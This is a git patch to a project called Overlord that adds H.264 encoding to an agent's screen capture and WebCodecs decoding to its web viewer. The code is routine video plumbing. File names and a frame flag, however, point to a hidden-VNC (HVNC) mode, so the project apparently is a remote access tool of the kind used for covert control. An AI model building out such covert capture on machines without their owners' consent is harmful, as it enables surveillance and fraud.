From ac64562ca7ee3c0c3d5fb4103bc2fbdab0f12feb Mon Sep 17 00:00:00 2001 From: KingKDot Date: Thu, 5 Mar 2026 14:45:15 -0600 Subject: [PATCH] add h264. Should hopefully be good for now. not going to push docker build until fully tested. --- Overlord-Client/cmd/agent/capture/capture.go | 54 ++- .../cmd/agent/capture/h264_encoder_stub.go | 18 + .../cmd/agent/capture/h264_encoder_x264.go | 89 ++++ Overlord-Client/cmd/agent/handlers/desktop.go | 8 +- .../cmd/agent/handlers/stream_limit.go | 4 +- Overlord-Client/go.mod | 5 +- Overlord-Client/go.sum | 6 + .../public/assets/remotedesktop.js | 414 ++++++++++++++---- Overlord-Server/public/remotedesktop.html | 8 + Overlord-Server/src/protocol.ts | 2 +- .../src/server/ws-console-rd-hvnc.ts | 40 +- go.work.sum | 6 + 12 files changed, 532 insertions(+), 122 deletions(-) create mode 100644 Overlord-Client/cmd/agent/capture/h264_encoder_stub.go create mode 100644 Overlord-Client/cmd/agent/capture/h264_encoder_x264.go create mode 100644 go.work.sum diff --git a/Overlord-Client/cmd/agent/capture/capture.go b/Overlord-Client/cmd/agent/capture/capture.go index 510efc5..82cf248 100644 --- a/Overlord-Client/cmd/agent/capture/capture.go +++ b/Overlord-Client/cmd/agent/capture/capture.go @@ -22,6 +22,7 @@ import ( func Loop(ctx context.Context, env *rt.Env) { defer recoverAndLog("capture loop", env.Cancel) + logCodecSupport() if env.Cfg.DisableCapture { log.Printf("capture: disabled by config, sending black placeholder") @@ -288,6 +289,8 @@ var ( overrideQuality atomic.Int64 overrideCodec atomic.Value + h264WarnOnce sync.Once + codecLogOnce sync.Once prevMu sync.Mutex prevFrame *prevImage @@ -299,6 +302,16 @@ type prevImage struct { pix []byte } +func logCodecSupport() { + codecLogOnce.Do(func() { + if h264Available() { + log.Printf("capture: codec support h264=enabled jpeg=enabled") + return + } + log.Printf("capture: codec support h264=disabled (cgo off), jpeg=enabled") + }) +} + func frameFPS(now time.Time) int { start := fpsWindowStart.Load() if start == 0 { @@ -357,6 +370,7 @@ func ResetPrev() { prevMu.Unlock() lastKeyframe.Store(0) requestFullFrames(2) + resetH264Encoder() } func jpegQuality() int { @@ -451,6 +465,22 @@ func buildFrame(img *image.RGBA, display int, quality int) (wire.Frame, time.Dur now := time.Now() codec := blockCodec() + if codec == "h264" { + h264Bytes, err := encodeH264Frame(img) + if err == nil && len(h264Bytes) > 0 { + prevMu.Lock() + copyPrev(img) + prevMu.Unlock() + lastKeyframe.Store(now.UnixNano()) + statFullFrames.Add(1) + return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "h264"}, Data: h264Bytes}, time.Since(encStart), nil + } + h264WarnOnce.Do(func() { + log.Printf("capture: h264 encode unavailable, falling back to jpeg: %v", err) + }) + codec = "jpeg" + } + if !enableBlocks { jpegBytes, err := encodeJPEG(img, quality) prevMu.Lock() @@ -494,10 +524,8 @@ func buildFrame(img *image.RGBA, display int, quality int) (wire.Frame, time.Dur } if blocks == 0 { - - prevMu.Lock() - copyPrev(img) - prevMu.Unlock() + // Keepalive frames indicate no block-level changes, so avoid copying the + // full RGBA buffer into prevFrame again. statKeepaliveFrames.Add(1) return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "blocks"}, Data: blockPayload}, encDur, nil } @@ -555,9 +583,8 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time } if blocks == 0 { - prevMu.Lock() - copyPrev(img) - prevMu.Unlock() + // Keepalive frames indicate no block-level changes, so avoid copying the + // full RGBA buffer into prevFrame again. statKeepaliveFrames.Add(1) frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "blocks", HVNC: true}, Data: blockPayload} return frame, encDur, nil @@ -1125,6 +1152,8 @@ func blockCodec() string { blockCodecOnce.Do(func() { codec := strings.ToLower(os.Getenv(blockCodecEnv)) switch codec { + case "h264": + cachedBlockCodec = "h264" case "raw", "rgba": cachedBlockCodec = "raw" case "jpeg", "": @@ -1144,13 +1173,22 @@ func SetQualityAndCodec(quality int, codec string) { overrideQuality.Store(int64(quality)) } s := strings.ToLower(strings.TrimSpace(codec)) + if s == "h264" && !h264Available() { + log.Printf("capture: requested codec=h264 but unavailable; forcing codec=jpeg") + s = "jpeg" + } switch s { - case "raw", "rgba", "jpeg": + case "raw", "rgba", "jpeg", "h264": overrideCodec.Store(s) + h264WarnOnce = sync.Once{} + if s != "h264" { + resetH264Encoder() + } case "": default: overrideCodec.Store("jpeg") + resetH264Encoder() } } diff --git a/Overlord-Client/cmd/agent/capture/h264_encoder_stub.go b/Overlord-Client/cmd/agent/capture/h264_encoder_stub.go new file mode 100644 index 0000000..3c82bed --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/h264_encoder_stub.go @@ -0,0 +1,18 @@ +//go:build !cgo + +package capture + +import ( + "errors" + "image" +) + +func encodeH264Frame(_ *image.RGBA) ([]byte, error) { + return nil, errors.New("h264 support not available (cgo disabled)") +} + +func h264Available() bool { + return false +} + +func resetH264Encoder() {} diff --git a/Overlord-Client/cmd/agent/capture/h264_encoder_x264.go b/Overlord-Client/cmd/agent/capture/h264_encoder_x264.go new file mode 100644 index 0000000..3b76dbf --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/h264_encoder_x264.go @@ -0,0 +1,89 @@ +//go:build cgo + +package capture + +import ( + "bytes" + "image" + "sync" + + x264 "github.com/gen2brain/x264-go" +) + +var ( + h264Mu sync.Mutex + h264Enc *x264.Encoder + h264Buf bytes.Buffer + h264Width int + h264Height int +) + +func encodeH264Frame(img *image.RGBA) ([]byte, error) { + bounds := img.Bounds() + width := bounds.Dx() + height := bounds.Dy() + + h264Mu.Lock() + defer h264Mu.Unlock() + + if err := ensureH264EncoderLocked(width, height); err != nil { + return nil, err + } + + h264Buf.Reset() + if err := h264Enc.Encode(img); err != nil { + return nil, err + } + + out := make([]byte, h264Buf.Len()) + copy(out, h264Buf.Bytes()) + return out, nil +} + +func h264Available() bool { + return true +} + +func ensureH264EncoderLocked(width, height int) error { + if h264Enc != nil && h264Width == width && h264Height == height { + return nil + } + + closeH264EncoderLocked() + + opts := &x264.Options{ + Width: width, + Height: height, + FrameRate: 25, + Tune: "zerolatency", + Preset: "ultrafast", + Profile: "baseline", + LogLevel: x264.LogError, + } + + enc, err := x264.NewEncoder(&h264Buf, opts) + if err != nil { + return err + } + + h264Enc = enc + h264Width = width + h264Height = height + return nil +} + +func resetH264Encoder() { + h264Mu.Lock() + defer h264Mu.Unlock() + closeH264EncoderLocked() +} + +func closeH264EncoderLocked() { + if h264Enc != nil { + _ = h264Enc.Close() + h264Enc = nil + } + h264Width = 0 + h264Height = 0 + h264Buf.Reset() +} diff --git a/Overlord-Client/cmd/agent/handlers/desktop.go b/Overlord-Client/cmd/agent/handlers/desktop.go index de50c2b..498704e 100644 --- a/Overlord-Client/cmd/agent/handlers/desktop.go +++ b/Overlord-Client/cmd/agent/handlers/desktop.go @@ -27,8 +27,12 @@ func GetPersistedDisplay() int { } func DesktopStart(ctx context.Context, env *rt.Env) error { - interval, fps := streamInterval("OVERLORD_DESKTOP_MAX_FPS", 60) - log.Printf("desktop: starting stream (max fps %d)", fps) + interval, fps := streamInterval("OVERLORD_DESKTOP_MAX_FPS", 120) + if fps < 60 { + fps = 60 + interval = time.Second / time.Duration(fps) + } + log.Printf("desktop: starting stream (target fps %d)", fps) ticker := time.NewTicker(interval) defer ticker.Stop() for { diff --git a/Overlord-Client/cmd/agent/handlers/stream_limit.go b/Overlord-Client/cmd/agent/handlers/stream_limit.go index 203fcc8..b6258ff 100644 --- a/Overlord-Client/cmd/agent/handlers/stream_limit.go +++ b/Overlord-Client/cmd/agent/handlers/stream_limit.go @@ -21,8 +21,8 @@ func streamInterval(envVar string, defFPS int) (time.Duration, int) { if fps < 1 { fps = 1 } - if fps > 120 { - fps = 120 + if fps > 1000 { + fps = 1000 } return time.Second / time.Duration(fps), fps } diff --git a/Overlord-Client/go.mod b/Overlord-Client/go.mod index ff39d26..381a1cf 100644 --- a/Overlord-Client/go.mod +++ b/Overlord-Client/go.mod @@ -1,9 +1,10 @@ module overlord-client -go 1.21 +go 1.23 require ( github.com/creack/pty v1.1.21 + github.com/gen2brain/x264-go v0.3.1 // optional: used when cgo is enabled github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018 github.com/pixiv/go-libjpeg v0.0.0-20190822045933-3da21a74767d // optional: turbojpeg build tag github.com/tetratelabs/wazero v1.7.0 @@ -15,6 +16,8 @@ require golang.org/x/sys v0.24.0 require ( github.com/gen2brain/shm v0.1.0 // indirect + github.com/gen2brain/x264-go/x264c v0.0.0-20241022182000-732e1bdb7da2 // indirect + github.com/gen2brain/x264-go/yuv v0.0.0-20221204084822-82ee2951dea2 // indirect github.com/godbus/dbus/v5 v5.1.0 // indirect github.com/jezek/xgb v1.1.1 // indirect github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect diff --git a/Overlord-Client/go.sum b/Overlord-Client/go.sum index 7d186d5..566efcc 100644 --- a/Overlord-Client/go.sum +++ b/Overlord-Client/go.sum @@ -4,6 +4,12 @@ github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8 github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/gen2brain/shm v0.1.0 h1:MwPeg+zJQXN0RM9o+HqaSFypNoNEcNpeoGp0BTSx2YY= github.com/gen2brain/shm v0.1.0/go.mod h1:UgIcVtvmOu+aCJpqJX7GOtiN7X2ct+TKLg4RTxwPIUA= +github.com/gen2brain/x264-go v0.3.1 h1:XFi6y8HM5BCMrP4kR/o711iBU++XNfLOY3PG8Alz2kU= +github.com/gen2brain/x264-go v0.3.1/go.mod h1:+Z4VKXQrUKzbfEv36GyiyjXfixmOp2c820ugsMthW18= +github.com/gen2brain/x264-go/x264c v0.0.0-20241022182000-732e1bdb7da2 h1:aS40m/Q+6z0ID7EVegxnnw3lWHUceGbg0zucbo7335I= +github.com/gen2brain/x264-go/x264c v0.0.0-20241022182000-732e1bdb7da2/go.mod h1:r2t0/BO5YgPRwWQpLYO5iB5FLSj1ArTQc/zmAoAV7sQ= +github.com/gen2brain/x264-go/yuv v0.0.0-20221204084822-82ee2951dea2 h1:lihaRUKRj94EWVZRp1jTmEiIxmvjEiSb9fJl2xftrXY= +github.com/gen2brain/x264-go/yuv v0.0.0-20221204084822-82ee2951dea2/go.mod h1:PzzJntdOaVt4Gc37fNaEXpqmhKkUgd/xqyPMUfx+FQc= github.com/godbus/dbus/v5 v5.1.0 h1:4KLkAxT3aOY8Li4FRJe/KvhoNFFxo0m6fNuFUO8QJUk= github.com/godbus/dbus/v5 v5.1.0/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= github.com/jezek/xgb v1.1.1 h1:bE/r8ZZtSv7l9gk6nU0mYx51aXrvnyb44892TwSaqS4= diff --git a/Overlord-Server/public/assets/remotedesktop.js b/Overlord-Server/public/assets/remotedesktop.js index 4ae1314..e6bf3b8 100644 --- a/Overlord-Server/public/assets/remotedesktop.js +++ b/Overlord-Server/public/assets/remotedesktop.js @@ -29,6 +29,8 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; const smoothingValue = document.getElementById("smoothingValue"); const qualitySlider = document.getElementById("qualitySlider"); const qualityValue = document.getElementById("qualityValue"); + const codecH264 = document.getElementById("codecH264"); + const codecMode = document.getElementById("codecMode"); const canvas = document.getElementById("frameCanvas"); const canvasContainer = document.getElementById("canvasContainer"); const ctx = canvas.getContext("2d"); @@ -53,9 +55,36 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; let smoothPoint = null; let pendingMove = null; let moveTimer = null; + let frameDecodeBusy = false; + let pendingFrame = null; + let videoDecoder = null; + let h264TimestampUs = 0; + const codecPrefKey = "rdCodecPreferH264"; + let prefersH264 = typeof VideoDecoder === "function"; + let h264LowFpsStreak = 0; const mouseMoveIntervalMs = 33; const inputBackpressureBytes = 256 * 1024; let lastMoveSentAt = 0; + + const storedCodecPref = localStorage.getItem(codecPrefKey); + if (storedCodecPref === "0") { + prefersH264 = false; + } else if (storedCodecPref === "1") { + prefersH264 = typeof VideoDecoder === "function"; + } + if (codecH264) { + codecH264.checked = prefersH264; + codecH264.disabled = typeof VideoDecoder !== "function"; + } + + function setCodecModeLabel(mode, detail) { + if (!codecMode) return; + const suffix = detail ? ` (${detail})` : ""; + codecMode.textContent = `Codec: ${String(mode || "auto").toUpperCase()}${suffix}`; + } + + setCodecModeLabel(prefersH264 ? "h264" : "jpeg", "preferred"); + setStreamState("connecting", "Connecting"); function updateFpsDisplay(agentValue) { @@ -272,11 +301,26 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; function pushQuality(val) { const q = Number(val) || 90; - const codec = q >= 100 ? "raw" : "jpeg"; + const codec = q >= 100 ? "raw" : (prefersH264 ? "h264" : "jpeg"); console.debug("rd: pushQuality val=", val, "q=", q, "codec=", codec); + setCodecModeLabel(codec, "requested"); sendCmd("desktop_set_quality", { quality: q, codec }); } + if (codecH264) { + codecH264.addEventListener("change", function () { + prefersH264 = !!codecH264.checked && typeof VideoDecoder === "function"; + localStorage.setItem(codecPrefKey, prefersH264 ? "1" : "0"); + if (!prefersH264) { + destroyVideoDecoder(); + h264LowFpsStreak = 0; + } + if (qualitySlider) { + pushQuality(qualitySlider.value); + } + }); + } + displaySelect.addEventListener("change", function () { console.debug("rd: select display", displaySelect.value); sendCmd("desktop_select_display", { @@ -374,110 +418,285 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; }); } - ws.addEventListener("message", async function (ev) { - if (ev.data instanceof ArrayBuffer) { - const buf = new Uint8Array(ev.data); - if (buf.length >= 8 && buf[0] === 0x46 && buf[1] === 0x52 && buf[2] === 0x4d) { - const fps = buf[5]; - const format = buf[6]; - lastFrameAt = performance.now(); - clearOfflineTimer(); - if (streamState !== "streaming") { - if (desiredStreaming) { - setStreamState("streaming", "Streaming"); - } - } + function isFramePacket(buf) { + return buf.length >= 8 && buf[0] === 0x46 && buf[1] === 0x52 && buf[2] === 0x4d; + } - if (format === 1) { - const jpegBytes = buf.slice(8); - const blob = new Blob([jpegBytes], { type: "image/jpeg" }); - try { - const bitmap = await createImageBitmap(blob); - frameWidth = bitmap.width || frameWidth; - frameHeight = bitmap.height || frameHeight; - canvas.width = bitmap.width; - canvas.height = bitmap.height; - ctx.drawImage(bitmap, 0, 0); - bitmap.close(); - updateFpsDisplay(fps); - } catch { - const img = new Image(); - const url = URL.createObjectURL(blob); - img.onload = function () { - frameWidth = img.width || frameWidth; - frameHeight = img.height || frameHeight; - canvas.width = img.width; - canvas.height = img.height; - ctx.drawImage(img, 0, 0); - URL.revokeObjectURL(url); - updateFpsDisplay(fps); - }; - img.src = url; - } - return; - } + function markFrameReceived() { + lastFrameAt = performance.now(); + clearOfflineTimer(); + if (streamState !== "streaming" && desiredStreaming) { + setStreamState("streaming", "Streaming"); + } + } - if (format === 2 || format === 3) { - if (buf.length < 8 + 8) return; - const dv = new DataView(buf.buffer, 8); - let pos = 0; - const width = dv.getUint16(pos, true); - pos += 2; - const height = dv.getUint16(pos, true); - pos += 2; - if (width > 0 && height > 0) { + function drawJpegFallback(blob, target) { + return new Promise((resolve) => { + const img = new Image(); + const url = URL.createObjectURL(blob); + img.onload = function () { + if (target) { + ctx.drawImage(img, target.x, target.y, target.w, target.h); + } else { + frameWidth = img.width || frameWidth; + frameHeight = img.height || frameHeight; + canvas.width = img.width; + canvas.height = img.height; + ctx.drawImage(img, 0, 0); + } + URL.revokeObjectURL(url); + resolve(true); + }; + img.onerror = function () { + URL.revokeObjectURL(url); + resolve(false); + }; + img.src = url; + }); + } + + async function drawJpegSlice(slice, target) { + const blob = new Blob([slice], { type: "image/jpeg" }); + try { + const bitmap = await createImageBitmap(blob); + if (target) { + ctx.drawImage(bitmap, target.x, target.y, target.w, target.h); + } else { + frameWidth = bitmap.width || frameWidth; + frameHeight = bitmap.height || frameHeight; + canvas.width = bitmap.width; + canvas.height = bitmap.height; + ctx.drawImage(bitmap, 0, 0); + } + bitmap.close(); + return true; + } catch { + return drawJpegFallback(blob, target); + } + } + + function destroyVideoDecoder() { + if (!videoDecoder) return; + try { + videoDecoder.close(); + } catch { + // Ignore close errors when decoder is already shutting down. + } + videoDecoder = null; + h264TimestampUs = 0; + } + + function fallbackToJpegCodec(reason) { + if (!prefersH264) return; + prefersH264 = false; + h264LowFpsStreak = 0; + destroyVideoDecoder(); + if (codecH264) codecH264.checked = false; + localStorage.setItem(codecPrefKey, "0"); + console.warn("rd: falling back to jpeg codec", reason || ""); + const q = Number(qualitySlider?.value) || 90; + setCodecModeLabel("jpeg", "fallback"); + if (ws.readyState === WebSocket.OPEN) { + sendCmd("desktop_set_quality", { quality: q, codec: "jpeg" }); + } + } + + function isH264KeyFrame(data) { + for (let i = 0; i + 4 < data.length; i++) { + let startCodeLen = 0; + if (data[i] === 0x00 && data[i + 1] === 0x00 && data[i + 2] === 0x01) { + startCodeLen = 3; + } else if ( + i + 4 < data.length && + data[i] === 0x00 && + data[i + 1] === 0x00 && + data[i + 2] === 0x00 && + data[i + 3] === 0x01 + ) { + startCodeLen = 4; + } + if (!startCodeLen) continue; + const nalIndex = i + startCodeLen; + if (nalIndex >= data.length) break; + const nalType = data[nalIndex] & 0x1f; + if (nalType === 5) { + return true; + } + i = nalIndex; + } + return false; + } + + function ensureVideoDecoder() { + if (videoDecoder) { + return true; + } + if (typeof VideoDecoder !== "function") { + return false; + } + try { + videoDecoder = new VideoDecoder({ + output: (frame) => { + const width = frame.displayWidth || frame.codedWidth || frameWidth; + const height = frame.displayHeight || frame.codedHeight || frameHeight; + if (width > 0 && height > 0 && (canvas.width !== width || canvas.height !== height)) { + canvas.width = width; + canvas.height = height; frameWidth = width; frameHeight = height; } - const blockCount = dv.getUint16(pos, true); - pos += 2; - pos += 2; + try { + ctx.drawImage(frame, 0, 0, canvas.width, canvas.height); + } finally { + frame.close(); + } + }, + error: (err) => { + console.warn("rd: h264 decoder error", err); + }, + }); + videoDecoder.configure({ codec: "avc1.42E01E", optimizeForLatency: true }); + return true; + } catch (err) { + console.warn("rd: h264 decoder unavailable", err); + fallbackToJpegCodec(err); + destroyVideoDecoder(); + return false; + } + } - if ( - width > 0 && - height > 0 && - (canvas.width !== width || canvas.height !== height) - ) { - canvas.width = width; - canvas.height = height; - } - for (let i = 0; i < blockCount; i++) { - if (pos + 12 > dv.byteLength) break; - const x = dv.getUint16(pos, true); - pos += 2; - const y = dv.getUint16(pos, true); - pos += 2; - const w = dv.getUint16(pos, true); - pos += 2; - const h = dv.getUint16(pos, true); - pos += 2; - const len = dv.getUint32(pos, true); - pos += 4; - const start = 8 + pos; - const end = start + len; - if (end > buf.length) break; - const slice = buf.subarray(start, end); - pos += len; - if (format === 2) { - try { - const bitmap = await createImageBitmap( - new Blob([slice], { type: "image/jpeg" }), - ); - ctx.drawImage(bitmap, x, y, w, h); - bitmap.close(); - } catch {} - } else { - if (slice.length === w * h * 4) { - const imgData = new ImageData(new Uint8ClampedArray(slice), w, h); - ctx.putImageData(imgData, x, y); - } - } - } - updateFpsDisplay(fps); - return; + async function processFrameBuffer(buf) { + const fps = buf[5]; + const format = buf[6]; + + if (format === 1) { + const jpegBytes = buf.slice(8); + setCodecModeLabel("jpeg", "active"); + await drawJpegSlice(jpegBytes, null); + updateFpsDisplay(fps); + return; + } + + if (format === 2 || format === 3) { + setCodecModeLabel(format === 3 ? "raw" : "jpeg", format === 3 ? "blocks" : "blocks"); + if (buf.length < 16) return; + const dv = new DataView(buf.buffer, 8); + let pos = 0; + const width = dv.getUint16(pos, true); + pos += 2; + const height = dv.getUint16(pos, true); + pos += 2; + if (width > 0 && height > 0) { + frameWidth = width; + frameHeight = height; + } + const blockCount = dv.getUint16(pos, true); + pos += 2; + pos += 2; + + if ( + width > 0 && + height > 0 && + (canvas.width !== width || canvas.height !== height) + ) { + canvas.width = width; + canvas.height = height; + } + + for (let i = 0; i < blockCount; i++) { + if (pos + 12 > dv.byteLength) break; + const x = dv.getUint16(pos, true); + pos += 2; + const y = dv.getUint16(pos, true); + pos += 2; + const w = dv.getUint16(pos, true); + pos += 2; + const h = dv.getUint16(pos, true); + pos += 2; + const len = dv.getUint32(pos, true); + pos += 4; + const start = 8 + pos; + const end = start + len; + if (end > buf.length) break; + const slice = buf.subarray(start, end); + pos += len; + + if (format === 2) { + await drawJpegSlice(slice, { x, y, w, h }); + } else if (slice.length === w * h * 4) { + const imgData = new ImageData(new Uint8ClampedArray(slice), w, h); + ctx.putImageData(imgData, x, y); } } + updateFpsDisplay(fps); + return; + } + + if (format === 4) { + setCodecModeLabel("h264", "active"); + const h264Bytes = buf.slice(8); + if (!h264Bytes.length) return; + if (!ensureVideoDecoder()) { + fallbackToJpegCodec("WebCodecs decoder unavailable"); + return; + } + + // If software H264 encode on the agent cannot keep up, automatically + // fall back to JPEG blocks for a smoother interactive stream. + if ((fps || 0) <= 6) { + h264LowFpsStreak += 1; + } else { + h264LowFpsStreak = 0; + } + if (h264LowFpsStreak >= 24) { + fallbackToJpegCodec(`low h264 fps (${fps})`); + return; + } + + const frameIntervalUs = Math.floor(1_000_000 / Math.max(1, fps || 25)); + const chunk = new EncodedVideoChunk({ + type: isH264KeyFrame(h264Bytes) ? "key" : "delta", + timestamp: h264TimestampUs, + data: h264Bytes, + }); + h264TimestampUs += frameIntervalUs; + try { + videoDecoder.decode(chunk); + updateFpsDisplay(fps); + } catch (err) { + console.warn("rd: h264 decode failed", err); + fallbackToJpegCodec(err); + } + } + } + + function flushPendingFrame() { + if (frameDecodeBusy || !pendingFrame) { + return; + } + const next = pendingFrame; + pendingFrame = null; + frameDecodeBusy = true; + processFrameBuffer(next).finally(() => { + frameDecodeBusy = false; + if (pendingFrame) { + flushPendingFrame(); + } + }); + } + + ws.addEventListener("message", function (ev) { + if (ev.data instanceof ArrayBuffer) { + const buf = new Uint8Array(ev.data); + if (isFramePacket(buf)) { + markFrameReceived(); + // Coalesce bursty arrivals so the renderer catches up to the newest frame. + pendingFrame = buf; + flushPendingFrame(); + return; + } + const msg = decodeMsgpack(buf); if (msg && msg.type === "status" && msg.status) { handleStatus(msg); @@ -521,10 +740,12 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; ws.addEventListener("close", function () { desiredStreaming = false; + destroyVideoDecoder(); setStreamState("disconnected", "Disconnected"); }); ws.addEventListener("error", function () { + destroyVideoDecoder(); setStreamState("error", "WebSocket error"); }); @@ -660,6 +881,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; desiredStreaming = false; sendCmd("desktop_stop", {}); } + destroyVideoDecoder(); } window.addEventListener("beforeunload", stopOnExit); diff --git a/Overlord-Server/public/remotedesktop.html b/Overlord-Server/public/remotedesktop.html index f6df446..c39602e 100644 --- a/Overlord-Server/public/remotedesktop.html +++ b/Overlord-Server/public/remotedesktop.html @@ -58,6 +58,14 @@ >95% +
+ + Codec: auto +